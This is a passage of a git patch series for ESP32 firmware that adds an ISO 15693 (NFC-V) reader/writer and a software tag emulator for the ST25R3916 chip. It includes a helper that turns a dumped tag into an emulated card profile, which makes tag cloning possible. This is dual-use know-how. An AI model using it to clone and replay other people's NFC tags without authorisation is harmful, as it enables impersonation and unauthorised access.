memcpy(&s_chain_buf[s_chain_len], inf, (size_t)inf_len); + s_chain_len += (size_t)inf_len; + } + ESP_LOGI(TAG, "APDU (chained) len=%u", (unsigned)s_chain_len); + handle_apdu(s_chain_buf, (int)s_chain_len, pcb); + s_chain_active = false; + s_chain_len = 0; + return; + } + + ESP_LOGI(TAG, "APDU len=%d", inf_len); + handle_apdu(inf, inf_len, pcb); + s_active_tick = xTaskGetTickCount(); + return; + +idle_active: + { + TickType_t now = xTaskGetTickCount(); + if ((now - s_active_tick) > pdMS_TO_TICKS(2000)) { + ESP_LOGI(TAG, "ACTIVE: idle timeout -> SLEEP"); + s_state = ISO14443B_STATE_SLEEP; + s_activated = false; + s_app_selected = false; + s_file = T4T_FILE_NONE; + s_chain_active = false; + s_chain_len = 0; + s_pcd_cid = 0; + mf_desfire_emu_reset(); + hb_spi_direct_cmd(CMD_GOTO_SLEEP); + } + } +} From 5cafbbeb855ea7d80ff08bb28dc2d929ac9b1bec Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Thu, 19 Mar 2026 00:11:39 -0300 Subject: [PATCH 32/61] feat(nfc): add ISO 15693 (NFC-V) protocol and card emulation --- .../nfc/protocols/iso15693/include/iso15693.h | 224 ++++++ .../protocols/iso15693/include/iso15693_emu.h | 123 +++ .../nfc/protocols/iso15693/iso15693.c | 505 +++++++++++++ .../nfc/protocols/iso15693/iso15693_emu.c | 713 ++++++++++++++++++ 4 files changed, 1565 insertions(+) create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c create mode 100644 firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693_emu.c diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h new file mode 100644 index 00000000..b1b684fc --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693.h @@ -0,0 +1,224 @@ +/** + * @file iso15693.h + * @brief ISO 15693 (NFC-V) reader/writer for ST25R3916. + * + * Follows the same patterns as mf_classic.h and mf_ultralight.h. + * Uses nfc_poller_transceive() as the base transport layer. + * + * Protocol summary: + * - 13.56 MHz + * - Single or double subcarrier (single is more common) + * - High data rate: 26.48 kbps TX, 26.48 kbps RX + * - Low data rate: 1.65 kbps TX, 6.62 kbps RX + * - UID: 8 bytes, LSB first on wire + * - CRC-16: poly=0x8408, init=0xFFFF, final_xor=0xFFFF + * - Addressed mode: includes UID in every command + * - Broadcast mode: no UID (all tags respond) + */ +#ifndef ISO15693_H +#define ISO15693_H + +#include +#include +#include +#include "highboy_nfc_types.h" +#include "highboy_nfc_error.h" + +/* ─── Request flags (byte 0 of every command) ─────────────────────────────── */ +#define ISO15693_FLAG_SUBCARRIER (1U << 0) /**< 0=single, 1=double */ +#define ISO15693_FLAG_DATA_RATE (1U << 1) /**< 0=low, 1=high */ +#define ISO15693_FLAG_INVENTORY (1U << 2) /**< set in INVENTORY requests */ +#define ISO15693_FLAG_PROTO_EXT (1U << 3) /**< protocol extension */ +#define ISO15693_FLAG_SELECT (1U << 4) /**< addressed to selected tag */ +#define ISO15693_FLAG_ADDRESS (1U << 5) /**< UID included in request */ +#define ISO15693_FLAG_OPTION (1U << 6) /**< option flag */ + +/* ─── Response flags (byte 0 of every response) ───────────────────────────── */ +#define ISO15693_RESP_ERROR (1U << 0) /**< error flag; rx[1] = code */ + +/* ─── Common flag combinations ────────────────────────────────────────────── */ +/** INVENTORY, high data rate (0x06) */ +#define ISO15693_FLAGS_INVENTORY (ISO15693_FLAG_INVENTORY | ISO15693_FLAG_DATA_RATE) +/** Addressed + high data rate (0x22) */ +#define ISO15693_FLAGS_ADDRESSED (ISO15693_FLAG_ADDRESS | ISO15693_FLAG_DATA_RATE) +/** Broadcast + high data rate, no address (0x02) */ +#define ISO15693_FLAGS_UNADDRESSED (ISO15693_FLAG_DATA_RATE) + +/* ─── Command codes ────────────────────────────────────────────────────────── */ +#define ISO15693_CMD_INVENTORY 0x01U +#define ISO15693_CMD_STAY_QUIET 0x02U +#define ISO15693_CMD_READ_SINGLE_BLOCK 0x20U +#define ISO15693_CMD_WRITE_SINGLE_BLOCK 0x21U +#define ISO15693_CMD_LOCK_BLOCK 0x22U +#define ISO15693_CMD_READ_MULTIPLE_BLOCKS 0x23U +#define ISO15693_CMD_WRITE_AFI 0x27U +#define ISO15693_CMD_LOCK_AFI 0x28U +#define ISO15693_CMD_WRITE_DSFID 0x29U +#define ISO15693_CMD_LOCK_DSFID 0x2AU +#define ISO15693_CMD_GET_SYSTEM_INFO 0x2BU +#define ISO15693_CMD_GET_MULTI_BLOCK_SEC 0x2CU + +/* ─── Error codes (inside response when RESP_ERROR is set) ─────────────────── */ +#define ISO15693_ERR_NOT_SUPPORTED 0x01U +#define ISO15693_ERR_NOT_RECOGNIZED 0x02U +#define ISO15693_ERR_BLOCK_UNAVAILABLE 0x10U +#define ISO15693_ERR_BLOCK_LOCKED 0x12U +#define ISO15693_ERR_WRITE_FAILED 0x13U +#define ISO15693_ERR_LOCK_FAILED 0x14U + +/* ─── Platform limits ──────────────────────────────────────────────────────── */ +#define ISO15693_MAX_BLOCK_SIZE 32 +#define ISO15693_MAX_BLOCKS 256 +#define ISO15693_UID_LEN 8 + +/* ─── Tag descriptor ───────────────────────────────────────────────────────── */ +typedef struct { + uint8_t uid[ISO15693_UID_LEN]; /**< UID LSB first (as on wire) */ + uint8_t dsfid; /**< Data Storage Format Identifier */ + uint8_t afi; /**< Application Family Identifier */ + uint16_t block_count; /**< Total number of blocks */ + uint8_t block_size; /**< Bytes per block */ + uint8_t ic_ref; /**< IC reference byte */ + bool info_valid; /**< system info was successfully read */ +} iso15693_tag_t; + +/* ═══════════════════════════════════════════════════════════════════════════ + * Poller API + * ═══════════════════════════════════════════════════════════════════════════ */ + +/** + * @brief Configure ST25R3916 for ISO 15693 polling. + * + * Must be called after st25r_init() + st25r_field_on(). + * Sets REG_MODE=0x30 (NFC-V), high data rate, single subcarrier. + */ +hb_nfc_err_t iso15693_poller_init(void); + +/** + * @brief Send INVENTORY and collect the first responding tag. + * + * Uses broadcast mode (no mask). Populates tag->uid and tag->dsfid. + * Returns HB_NFC_ERR_NO_CARD if no response within timeout. + */ +hb_nfc_err_t iso15693_inventory(iso15693_tag_t* tag); + +/** + * @brief Read GET_SYSTEM_INFO for an addressed tag. + * + * Fills tag->block_count, tag->block_size, tag->afi, tag->dsfid. + * tag->uid must be valid (from iso15693_inventory). + */ +hb_nfc_err_t iso15693_get_system_info(iso15693_tag_t* tag); + +/** + * @brief Inventory multiple tags using STAY_QUIET (best-effort). + * + * Each discovered tag is silenced (STAY_QUIET) and the inventory + * is repeated until no response. + * + * @return number of tags found (up to max_tags). + */ +int iso15693_inventory_all(iso15693_tag_t* out, size_t max_tags); + +/** + * @brief Read a single block (addressed mode). + * + * @param tag Tag with valid UID. + * @param block Block number (0-based). + * @param data Output buffer. + * @param data_max Output buffer capacity. + * @param data_len Set to number of bytes written on success. + */ +hb_nfc_err_t iso15693_read_single_block(const iso15693_tag_t* tag, + uint8_t block, + uint8_t* data, + size_t data_max, + size_t* data_len); + +/** + * @brief Write a single block (addressed mode). + * + * @param tag Tag with valid UID. + * @param block Block number (0-based). + * @param data Data to write (must match block_size). + * @param data_len Number of bytes to write. + */ +hb_nfc_err_t iso15693_write_single_block(const iso15693_tag_t* tag, + uint8_t block, + const uint8_t* data, + size_t data_len); + +/** + * @brief Lock a single block (addressed mode). + */ +hb_nfc_err_t iso15693_lock_block(const iso15693_tag_t* tag, uint8_t block); + +/** + * @brief Read multiple consecutive blocks (addressed mode). + * + * @param tag Tag with valid UID. + * @param first_block Starting block number. + * @param count Number of blocks to read. + * @param out_buf Output buffer (count * block_size bytes needed). + * @param out_max Output buffer capacity. + * @param out_len Set to bytes written on success. + */ +hb_nfc_err_t iso15693_read_multiple_blocks(const iso15693_tag_t* tag, + uint8_t first_block, + uint8_t count, + uint8_t* out_buf, + size_t out_max, + size_t* out_len); + +/** + * @brief Write AFI (addressed mode). + */ +hb_nfc_err_t iso15693_write_afi(const iso15693_tag_t* tag, uint8_t afi); + +/** + * @brief Lock AFI (addressed mode). + */ +hb_nfc_err_t iso15693_lock_afi(const iso15693_tag_t* tag); + +/** + * @brief Write DSFID (addressed mode). + */ +hb_nfc_err_t iso15693_write_dsfid(const iso15693_tag_t* tag, uint8_t dsfid); + +/** + * @brief Lock DSFID (addressed mode). + */ +hb_nfc_err_t iso15693_lock_dsfid(const iso15693_tag_t* tag); + +/** + * @brief Get multiple block security status (addressed mode). + * + * @param out_buf Output buffer (count bytes). + */ +hb_nfc_err_t iso15693_get_multi_block_sec(const iso15693_tag_t* tag, + uint8_t first_block, + uint8_t count, + uint8_t* out_buf, + size_t out_max, + size_t* out_len); + +/** + * @brief Full tag dump: inventory → system info → all blocks. + * + * Prints everything via ESP_LOGI. No output parameters. + */ +void iso15693_dump_card(void); + +/* ─── Utility ──────────────────────────────────────────────────────────────── */ + +/** + * @brief Compute ISO 15693 CRC-16 (poly=0x8408, init=0xFFFF, ~result). + */ +uint16_t iso15693_crc16(const uint8_t* data, size_t len); + +/** + * @brief Verify CRC appended to a response buffer (last 2 bytes). + */ +bool iso15693_check_crc(const uint8_t* data, size_t len); + +#endif /* ISO15693_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h new file mode 100644 index 00000000..f37fc37e --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/include/iso15693_emu.h @@ -0,0 +1,123 @@ +/** + * @file iso15693_emu.h + * @brief ISO 15693 (NFC-V) tag emulation for ST25R3916. + * + * Architecture mirrors t2t_emu exactly: + * - iso15693_emu_init() → set tag memory + UID + * - iso15693_emu_configure_target() → configure ST25R3916 as NFC-V target + * - iso15693_emu_start() → enter SLEEP (field-detector active) + * - iso15693_emu_run_step() → call in tight loop (no blocking) + * - iso15693_emu_stop() → power down + * + * State machine (identical to T2T): + * + * SLEEP ──[field detected]──► SENSE ──[INVENTORY received]──► ACTIVE + * ACTIVE ──[field lost]──► SLEEP + * ACTIVE ──[HALT / stay quiet]──► SLEEP + * + * Emulation limitations on ST25R3916 in NFC-V mode: + * - No hardware anti-collision (unlike NFC-A): the chip does NOT + * automatically respond to INVENTORY. Software must detect the + * INVENTORY command in RX and build the response manually. + * - Single-tag environment assumed (no slot-based collision avoidance). + * - Only high-data-rate / single-subcarrier supported. + * + * Supported commands (emulated in software): + * - INVENTORY → reply [resp_flags][DSFID][UID] + * - GET_SYSTEM_INFO → reply with block_count, block_size, DSFID, AFI + * - READ_SINGLE_BLOCK + * - WRITE_SINGLE_BLOCK + * - READ_MULTIPLE_BLOCKS + * - LOCK_BLOCK + * - WRITE_AFI / LOCK_AFI + * - WRITE_DSFID / LOCK_DSFID + * - GET_MULTI_BLOCK_SEC + * - STAY_QUIET → go to SLEEP (stop responding until power cycle) + */ +#ifndef ISO15693_EMU_H +#define ISO15693_EMU_H + +#include +#include +#include +#include "iso15693.h" +#include "highboy_nfc_error.h" + +/* ─── Memory limits ────────────────────────────────────────────────────────── */ +#define ISO15693_EMU_MAX_BLOCKS 256 +#define ISO15693_EMU_MAX_BLOCK_SIZE 4 /**< bytes per block (default) */ +#define ISO15693_EMU_MEM_SIZE (ISO15693_EMU_MAX_BLOCKS * ISO15693_EMU_MAX_BLOCK_SIZE) + +/* ─── Card profile ─────────────────────────────────────────────────────────── */ +typedef struct { + uint8_t uid[ISO15693_UID_LEN]; /**< 8-byte UID, LSB first */ + uint8_t dsfid; /**< Data Storage Format Identifier */ + uint8_t afi; /**< Application Family Identifier */ + uint8_t ic_ref; /**< IC reference byte */ + uint16_t block_count; /**< number of blocks (≤ MAX_BLOCKS) */ + uint8_t block_size; /**< bytes per block (≤ MAX_BLOCK_SIZE)*/ + uint8_t mem[ISO15693_EMU_MEM_SIZE]; /**< tag memory flat array */ +} iso15693_emu_card_t; + +/* ─── API ──────────────────────────────────────────────────────────────────── */ + +/** + * @brief Initialise emulator with a card profile. + * + * Must be called before configure_target. + * @param card Card data (copied internally). + */ +hb_nfc_err_t iso15693_emu_init(const iso15693_emu_card_t* card); + +/** + * @brief Populate a card from a previously read iso15693_tag_t + raw dump. + * + * Convenience helper: fills uid/dsfid/afi/block_count/block_size from tag, + * copies raw_mem (block_count × block_size bytes) into card->mem. + */ +void iso15693_emu_card_from_tag(iso15693_emu_card_t* card, + const iso15693_tag_t* tag, + const uint8_t* raw_mem); + +/** + * @brief Create a minimal writable NFC-V tag for testing. + * + * UID is fixed to the values passed in. + * Initialises 8 blocks × 4 bytes = 32 bytes of zeroed memory. + */ +void iso15693_emu_card_default(iso15693_emu_card_t* card, + const uint8_t uid[ISO15693_UID_LEN]); + +/** + * @brief Configure ST25R3916 as NFC-V target. + * + * Resets chip → oscillator → registers → starts field detector. + * Does NOT activate the field (we are a target, not an initiator). + */ +hb_nfc_err_t iso15693_emu_configure_target(void); + +/** + * @brief Activate emulation (enter SLEEP state, field detector on). + * + * After this call, iso15693_emu_run_step() must be called in a tight loop. + */ +hb_nfc_err_t iso15693_emu_start(void); + +/** + * @brief Power down the emulator. + */ +void iso15693_emu_stop(void); + +/** + * @brief Single polling step — call as fast as possible in a FreeRTOS task. + * + * Non-blocking. Checks IRQs, transitions state machine, handles commands. + */ +void iso15693_emu_run_step(void); + +/** + * @brief Return pointer to internal tag memory (for live inspection). + */ +uint8_t* iso15693_emu_get_mem(void); + +#endif /* ISO15693_EMU_H */ diff --git a/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c new file mode 100644 index 00000000..8942ad77 --- /dev/null +++ b/firmware_p4/components/Applications/nfc/protocols/iso15693/iso15693.c @@ -0,0 +1,505 @@ +/** + * @file iso15693.c + * @brief ISO 15693 (NFC-V) reader/poller for ST25R3916. + * + * Uses nfc_poller_transceive() as transport. CRC is appended by the chip + * when CMD_TX_WITH_CRC is used in NFC-V mode. + */ +#include "iso15693.h" + +#include +#include +#include +#include "esp_log.h" + +#include "nfc_poller.h" +#include "nfc_common.h" +#include "st25r3916_core.h" +#include "st25r3916_reg.h" +#include "hb_nfc_spi.h" +#include "nfc_rf.h" + +#define TAG "iso15693" + +static int strip_crc_len(const uint8_t* buf, int len) +{ + if (len >= 3 && iso15693_check_crc(buf, (size_t)len)) return len - 2; + return len; +} + +static hb_nfc_err_t iso15693_stay_quiet(const iso15693_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[2 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_STAY_QUIET; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + + uint8_t rx[8] = { 0 }; + (void)nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 0, 10); + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_poller_init(void) +{ + nfc_rf_config_t cfg = { + .tech = NFC_RF_TECH_V, + .tx_rate = NFC_RF_BR_V_HIGH, + .rx_rate = NFC_RF_BR_V_HIGH, + .am_mod_percent = 10, /* ISO15693 typically 10% ASK */ + .tx_parity = true, + .rx_raw_parity = false, + .guard_time_us = 0, + .fdt_min_us = 0, + .validate_fdt = false, + }; + hb_nfc_err_t err = nfc_rf_apply(&cfg); + if (err != HB_NFC_OK) return err; + + if (!st25r_field_is_on()) { + err = st25r_field_on(); + if (err != HB_NFC_OK) return err; + } + + ESP_LOGI(TAG, "ISO15693 poller ready (NFC-V 26.48 kbps)"); + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_inventory(iso15693_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + memset(tag, 0, sizeof(*tag)); + + /* INVENTORY: [flags][cmd][mask_len=0] */ + uint8_t cmd[3] = { + ISO15693_FLAGS_INVENTORY, + ISO15693_CMD_INVENTORY, + 0x00U + }; + + uint8_t rx[32] = { 0 }; + int len = nfc_poller_transceive(cmd, sizeof(cmd), true, rx, sizeof(rx), 1, 30); + if (len < 10) { + if (len > 0) nfc_log_hex("INVENTORY partial:", rx, (size_t)len); + return HB_NFC_ERR_NO_CARD; + } + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "INVENTORY error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 10) return HB_NFC_ERR_PROTOCOL; + + tag->dsfid = rx[1]; + memcpy(tag->uid, &rx[2], ISO15693_UID_LEN); + tag->info_valid = false; + ESP_LOGI(TAG, "Tag found (UID=%02X%02X%02X%02X%02X%02X%02X%02X)", + tag->uid[7], tag->uid[6], tag->uid[5], tag->uid[4], + tag->uid[3], tag->uid[2], tag->uid[1], tag->uid[0]); + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_get_system_info(iso15693_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[2 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_GET_SYSTEM_INFO; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + + uint8_t rx[64] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 2) { + if (len > 0) nfc_log_hex("SYSINFO partial:", rx, (size_t)len); + return HB_NFC_ERR_NO_CARD; + } + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "SYSINFO error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 2 + ISO15693_UID_LEN) return HB_NFC_ERR_PROTOCOL; + + uint8_t info_flags = rx[1]; + pos = 2; + + /* UID is always present */ + memcpy(tag->uid, &rx[pos], ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + + if (info_flags & 0x01U) { tag->dsfid = rx[pos++]; } + if (info_flags & 0x02U) { tag->afi = rx[pos++]; } + if (info_flags & 0x04U) { + tag->block_count = (uint16_t)rx[pos++] + 1U; /* n-1 */ + tag->block_size = (uint8_t)((rx[pos++] & 0x1FU) + 1U); /* n-1 */ + tag->info_valid = true; + } + if (info_flags & 0x08U) { tag->ic_ref = rx[pos++]; } + + ESP_LOGI(TAG, "SYSINFO: blocks=%u size=%u dsfid=0x%02X afi=0x%02X", + tag->block_count, tag->block_size, tag->dsfid, tag->afi); + return HB_NFC_OK; +} + +int iso15693_inventory_all(iso15693_tag_t* out, size_t max_tags) +{ + if (!out || max_tags == 0) return 0; + + int count = 0; + for (;;) { + if (count >= (int)max_tags) break; + + iso15693_tag_t tag; + hb_nfc_err_t err = iso15693_inventory(&tag); + if (err != HB_NFC_OK) break; + + bool dup = false; + for (int i = 0; i < count; i++) { + if (memcmp(out[i].uid, tag.uid, ISO15693_UID_LEN) == 0) { + dup = true; + break; + } + } + if (!dup) { + out[count++] = tag; + } + + (void)iso15693_stay_quiet(&tag); + } + + return count; +} + +hb_nfc_err_t iso15693_read_single_block(const iso15693_tag_t* tag, + uint8_t block, + uint8_t* data, + size_t data_max, + size_t* data_len) +{ + if (!tag || !data) return HB_NFC_ERR_PARAM; + uint8_t blk_size = tag->block_size ? tag->block_size : 4; + if (data_max < blk_size) return HB_NFC_ERR_PARAM; + + uint8_t cmd[3 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_READ_SINGLE_BLOCK; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = block; + + uint8_t rx[64] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 2) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "READ_SINGLE error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + + if (plen < 1 + (int)blk_size) return HB_NFC_ERR_PROTOCOL; + memcpy(data, &rx[1], blk_size); + if (data_len) *data_len = blk_size; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_write_single_block(const iso15693_tag_t* tag, + uint8_t block, + const uint8_t* data, + size_t data_len) +{ + if (!tag || !data) return HB_NFC_ERR_PARAM; + uint8_t blk_size = tag->block_size ? tag->block_size : 4; + if (data_len != blk_size) return HB_NFC_ERR_PARAM; + + uint8_t cmd[3 + ISO15693_UID_LEN + ISO15693_MAX_BLOCK_SIZE]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_WRITE_SINGLE_BLOCK; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = block; + memcpy(&cmd[pos], data, blk_size); + pos += blk_size; + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "WRITE_SINGLE error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_lock_block(const iso15693_tag_t* tag, uint8_t block) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[3 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_LOCK_BLOCK; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = block; + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "LOCK_BLOCK error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_read_multiple_blocks(const iso15693_tag_t* tag, + uint8_t first_block, + uint8_t count, + uint8_t* out_buf, + size_t out_max, + size_t* out_len) +{ + if (!tag || !out_buf || count == 0) return HB_NFC_ERR_PARAM; + if (!tag->block_size) return HB_NFC_ERR_PARAM; + + size_t total = (size_t)count * tag->block_size; + if (out_max < total) return HB_NFC_ERR_PARAM; + + uint8_t cmd[4 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_READ_MULTIPLE_BLOCKS; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = first_block; + cmd[pos++] = (uint8_t)(count - 1U); /* n-1 encoding */ + + size_t rx_cap = 1 + total + 2; /* flags + data + CRC */ + uint8_t* rx = (uint8_t*)malloc(rx_cap); + if (!rx) return HB_NFC_ERR_INTERNAL; + memset(rx, 0, rx_cap); + + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, rx_cap, 1, 50); + if (len < 2) { free(rx); return HB_NFC_ERR_NO_CARD; } + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "READ_MULTI error: 0x%02X", rx[1]); + free(rx); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1 + (int)total) { free(rx); return HB_NFC_ERR_PROTOCOL; } + + memcpy(out_buf, &rx[1], total); + if (out_len) *out_len = total; + free(rx); + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_write_afi(const iso15693_tag_t* tag, uint8_t afi) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[3 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_WRITE_AFI; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = afi; + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "WRITE_AFI error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_lock_afi(const iso15693_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[2 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_LOCK_AFI; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "LOCK_AFI error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_write_dsfid(const iso15693_tag_t* tag, uint8_t dsfid) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[3 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_WRITE_DSFID; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = dsfid; + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "WRITE_DSFID error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_lock_dsfid(const iso15693_tag_t* tag) +{ + if (!tag) return HB_NFC_ERR_PARAM; + + uint8_t cmd[2 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_LOCK_DSFID; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + + uint8_t rx[8] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 1) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "LOCK_DSFID error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1) return HB_NFC_ERR_PROTOCOL; + return HB_NFC_OK; +} + +hb_nfc_err_t iso15693_get_multi_block_sec(const iso15693_tag_t* tag, + uint8_t first_block, + uint8_t count, + uint8_t* out_buf, + size_t out_max, + size_t* out_len) +{ + if (!tag || !out_buf || count == 0) return HB_NFC_ERR_PARAM; + if (out_max < count) return HB_NFC_ERR_PARAM; + + uint8_t cmd[4 + ISO15693_UID_LEN]; + int pos = 0; + cmd[pos++] = ISO15693_FLAGS_ADDRESSED; + cmd[pos++] = ISO15693_CMD_GET_MULTI_BLOCK_SEC; + memcpy(&cmd[pos], tag->uid, ISO15693_UID_LEN); + pos += ISO15693_UID_LEN; + cmd[pos++] = first_block; + cmd[pos++] = (uint8_t)(count - 1U); + + uint8_t rx[64] = { 0 }; + int len = nfc_poller_transceive(cmd, (size_t)pos, true, rx, sizeof(rx), 1, 30); + if (len < 2) return HB_NFC_ERR_NO_CARD; + + int plen = strip_crc_len(rx, len); + if (rx[0] & ISO15693_RESP_ERROR) { + ESP_LOGW(TAG, "GET_MULTI_BLOCK_SEC error: 0x%02X", rx[1]); + return HB_NFC_ERR_PROTOCOL; + } + if (plen < 1 + count) return HB_NFC_ERR_PROTOCOL; + + memcpy(out_buf, &rx[1], count); + if (out_len) *out_len = count; + return HB_NFC_OK; +} + +void iso15693_dump_card(void) +{ + iso15693_tag_t tag = { 0 }; + hb_nfc_err_t err = iso15693_inventory(&tag); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "No ISO15693 tag found"); + return; + } + + err = iso15693_get_system_info(&tag); + if (err != HB_NFC_OK) { + ESP_LOGW(TAG, "SYSINFO failed, using default block size 4"); + 